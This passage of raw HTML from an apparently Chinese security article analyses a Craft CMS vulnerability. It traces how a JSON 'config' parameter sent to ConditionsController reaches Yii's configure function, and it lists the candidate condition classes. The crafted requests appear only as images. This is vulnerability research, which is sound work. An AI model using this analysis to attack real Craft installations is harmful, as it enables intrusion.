YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">AssetsController</span></p><span leaf="">为例重新构造请求进行调试分析，回到</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">\yii\base\Module::runAction</span></p><span leaf="">函数：</span><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008294" class="rich_pages wxw-img" data-ratio="0.44062806673209026" data-type="png" data-w="1019" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=87c50a73&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRxqzZ8Q35opxmlKoAfiamhnicicgFmy2TgT6p5jtpAMT49fD93OSdzmAPg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><span leaf="">进入</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">\yii\base\Controller::createAction</span></p><span leaf="">，判断</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">$id</span></p><span leaf="">生成的方法名是否存在：</span><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008297" class="rich_pages wxw-img" data-ratio="0.6464250734573947" data-type="png" data-w="1021" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=60fe21f2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkREtzpsGWsib5SVckdAJGSVfu7HbwToibrYqiaiaBF9xRA80CoXzWvZbpCpw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><span leaf="">更新请求</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">action=assets/upload</span></p><span leaf="">，继续分析</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">\yii\base\Controller::createAction</span></p><span leaf="">，内部将会调用父类的</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">\yii\base\Controller::beforeAction</span></p><span leaf="">函数，至此完整路由的构造规则基本清晰。</span><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008296" class="rich_pages wxw-img" data-ratio="0.8035363457760314" data-type="png" data-w="1018" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=36937e5c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRTic6Ilvmad4sEFGnBPyKf02scsRsL20IicTYCtOYrs7Lhiar1ccURiboDg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><h3 data-heading="true" style="box-sizing: border-box;border-width: 1px 1px 1px 4px;border-style: solid;border-color: color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) rgb(15, 76, 129);font-size: 18px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 2.4em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 12px;color: rgb(63, 63, 63);border-radius: 6px;background: color-mix(in srgb, rgb(15, 76, 129) 8%, transparent);"><span leaf="">ConditionsController 类实例化</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ConditionsController</span></p><span leaf="">类满足上面分析的</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">action</span></p><span leaf="">构造规则，并且该类重写了</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">beforeAction</span></p><span leaf="">函数，可构造特定请求到达该函数：</span><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008293" class="rich_pages wxw-img" data-ratio="0.37229862475442044" data-type="png" data-w="1018" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=5f8b850e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRVrgMQyEiboJianaMbVjhpg5uMtmjDArTrapmicO8vC75VPEHDoIAdtIDg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><span leaf="">尝试通过</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Json</span></p><span leaf="">解码提取</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">config</span></p><span leaf="">参数并赋值给</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">$baseConfig</span></p><span leaf="">，从</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">$baseConfig</span></p><span leaf="">中提取键值</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">key</span></p><span leaf="">等于</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">name</span></p><span leaf="">的值并赋值给</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">$config</span></p><span leaf="">，然后利用</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">\craft\services\Conditions::createCondition</span></p><span leaf="">函数获取</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">$this-&gt;_condition</span></p><span leaf="">变量，要求</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">$config</span></p><span leaf="">对应的类必须继承于</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ConditionInterface</span></p><span leaf="">接口：</span><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008295" class="rich_pages wxw-img" data-ratio="0.5289499509322866" data-type="png" data-w="1019" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=4484e082&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRCX4NibfErCnlSVLBmTKicC9O3ftAELXP0gsumjPdRtC8fjDcpB68ClwA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">满足条件的子类共有 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">9</span></p><span leaf=""> 个：</span></div><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">AddressCondition   \craft\elements\conditions\addresses</span><span leaf="">AssetCondition   \craft\elements\conditions\assets</span><span leaf="">BaseCondition   \craft\base\conditions</span><span leaf="">CategoryCondition   \craft\elements\conditions\categories</span><span leaf="">ElementCondition   \craft\elements\conditions</span><span leaf="">ElementConditionInterface   \craft\elements\conditions</span><span leaf="">EntryCondition   \craft\elements\conditions\entries</span><span leaf="">TagCondition   \craft\elements\conditions\tags</span><span leaf="">UserCondition   \craft\elements\conditions\users</span></p></pre><span leaf="">随机选择一个构造新的请求：</span><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008299" class="rich_pages wxw-img" data-ratio="0.19509803921568628" data-type="png" data-w="1020" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=14385c19&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRGynzEujulmib2RVhmVGicxtvibIekdvaZqSiccu2GW0VTk6UKibBClJw1qw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><span leaf="">进入</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">\yii\BaseYii::configure</span></p><span leaf="">函数，内部遍历</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">$baseConfig</span></p><span leaf="">对象并给</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ConditionInterface</span></p><span leaf="">接口对象（上面请求中为</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">AddressCondition</span></p><span 